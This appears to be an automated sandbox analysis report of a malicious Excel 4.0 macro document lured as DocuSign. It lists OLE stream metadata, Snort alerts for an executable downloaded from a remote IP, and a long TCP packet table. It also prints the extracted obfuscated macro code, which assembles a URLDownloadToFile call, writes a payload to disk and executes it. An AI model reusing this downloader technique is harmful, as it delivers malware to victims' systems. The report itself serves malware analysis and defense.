Stream Size:	4096
Entropy:	0.318330155209
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . D o c u S i g n . . . . . D o c 1 . . . . . D o c 2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . E x c
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 e0 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 9f 00 00 00 02 00 00 00 e3 04 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.250004009968
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . . \| . # . . . @ . . . . . . ' 8 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 04 00 00 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 312999

General
Stream Path:	Workbook
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	312999
Entropy:	7.7272528022
Base64 Encoded:	True
Data ASCII:	. . . . . . . . g 2 . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . B . . . . . a . . . . . . . . . = . . . . . . . . . . . . . . . . - . B . 0 . . . = . 8 . 3 . 0 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . i . . 9 J . 8 . . . . . .
Data Raw:	09 08 10 00 00 06 05 00 67 32 cd 07 c9 80 01 00 06 06 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 02 00 00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Macro 4.0 Code

=EXEC(Doc1!AD15&Doc1!AR5&Doc1!AR6&Doc1!AR7&Doc1!AP21&Doc1!AF15)=HALT()

,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=CALL(""U""&""R""&AR8&""n"",AS3&AS4&AS5&AS6&AS7&AS8&AS9&AS10&AS11&AS12&AS13&AS14&AS15&AS16&AS17&AS18&AS19&AE21,""JJCCBB"",0,A100,AR5&AR6&AR7,0)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=Doc2!AA2(),,,,,,,,,r,",",,K,Cr,A,U,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=CALL(AC21,AD21,AO14,AR5,0)",,,,,,u,D,,e,,,R,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=CALL(AC21,AD21,""JCJ"",AR5&AR6,0)",,,,,,n,l,,r,ea,C:\fyjh,L,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=AD2(),,,,,,d,l,,n,,\zglgy,D,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,l,R,,e,te,\lckhvmn.drhdh,o,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,l,e,,l,,Lmo,w,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,3,g,,3,Di,,n,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,i,,2,,,l,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,s,,,re,,o,,,,,,,,,,,,,,,,,,,,,,,,,,,=AC20(),,,,,,,,,,,,,t,,,,,a,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,e,,,ct,,d,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=FORMULA.ARRAY(AM3&AM4&AM5&AM6&AM7&AM8&AM9&""2 "",AD15)",,"=FORMULA.ARRAY(AN3&AN4&AN5&AN6&AN7&AN8&AN9&AN10&AN11&AN12&AN13&AN14&AN15&AN16&AN17&AN18&AN19&AN20,AF15)",,,,,,,,r,JCJ,,,,T,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,S,,,or,,o,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=AF14(),,=AG4(),,,,,,,,e,,,,,F,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,r,,,yA,,i,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,v,,,,,l,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,e,,,,,e,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=FORMULA.ARRAY(AP3&AP4&AP5&AP6&AP7&AP8&AP9&AP10,AC21)","=FORMULA.ARRAY(AQ3&AQ5&AQ7&AQ9&AQ11&AQ13&AQ15&AQ17,AD21)","=FORMULA.ARRAY(AR3,AE21)",,,,,,,,,r,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=AD20(),=AE20(),=AD14(),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
02/09/21-11:53:09.474551	TCP	2025169	ET TROJAN Windows Executable Downloaded With Image Content-Type Header	80	49165	8.208.96.68	192.168.2.22
02/09/21-11:55:56.841478	ICMP	486	ICMP Destination Unreachable Communication with Destination Host is Administratively Prohibited			45.67.231.135	192.168.2.22
02/09/21-11:55:59.853366	ICMP	486	ICMP Destination Unreachable Communication with Destination Host is Administratively Prohibited			45.67.231.135	192.168.2.22

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 9, 2021 11:53:09.337158918 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.396887064 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.397042990 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.398152113 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.474550962 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.474637032 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.474654913 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.474694967 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.474698067 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.474756002 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.474760056 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.474816084 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.474817038 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.474874973 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.474875927 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.474934101 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.474936008 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.474996090 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.475003958 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.475059986 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.475064039 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.475128889 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.475130081 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.475213051 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.481585979 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.536161900 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.536220074 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.536271095 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.536333084 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.536346912 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.536372900 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.536406040 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.536415100 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.536475897 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.536497116 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.536555052 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.536578894 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.536638975 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.536658049 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.536700010 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.536705971 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.536760092 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.536775112 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.536819935 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.536824942 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.536883116 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.536914110 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.536973953 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.536978960 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.537033081 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.537035942 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.537095070 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.537098885 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.537154913 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.537166119 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.537214994 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.537220955 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.537275076 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.537281990 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.537334919 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.537338972 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.537404060 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.537476063 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.537544966 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.538345098 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.597918987 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.597985983 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.598114014 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.598416090 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.598475933 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.598495960 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.598537922 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.598541975 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.598599911 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.598604918 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.598668098 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.598710060 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.598728895 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.598730087 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.598793030 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.598795891 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.598853111 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.598889112 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.598923922 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.598953962 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.599009991 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.599031925 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.599062920 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.599071980 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.599112988 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.599150896 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.599167109 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.599204063 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.599216938 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.599241018 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.599260092 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.599267006 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.599317074 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.599338055 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.599365950 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.599380970 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.599416971 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.599431992 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.599466085 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.599481106 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.599515915 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.599539995 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.599570036 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.599575043 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.599620104 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.599633932 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.599663019 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.599689960 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.599713087 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.599726915 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.599780083 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.599786043 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.599822998 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.599858999 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.599874973 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.599888086 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.599941015 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.599944115 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.599989891 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.600001097 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.600039005 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.600055933 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.600090027 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.600099087 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.600138903 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.600150108 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.600188971 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.600202084 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.600238085 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.600245953 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.600287914 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.600292921 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.600336075 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.600344896 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.600384951 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.600393057 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.600435972 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.600442886 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.600496054 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.601207018 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.657569885 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.657653093 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.657718897 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.657782078 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.657826900 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.657851934 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.657856941 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.658226013 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.658287048 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.658298016 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.658376932 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.659774065 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.659828901 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.659864902 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.659879923 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.659883976 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.659933090 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.659933090 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.659982920 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.659991980 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.660032988 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.660048008 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.660084963 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.660090923 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.660135031 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.660142899 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.660185099 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.660195112 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.660233974 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.660243988 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.660295010 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.660933971 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.660995007 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.661004066 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.661056995 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.661081076 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.661119938 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.661166906 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.661178112 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.661180973 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.661237001 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.661242008 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.661303043 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.661303043 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.661362886 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.661365986 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.661420107 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.661447048 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.661503077 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.661508083 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.661554098 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.661564112 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.661604881 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.661604881 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.661653996 CET	80	49165	8.208.96.68	192.168.2.22
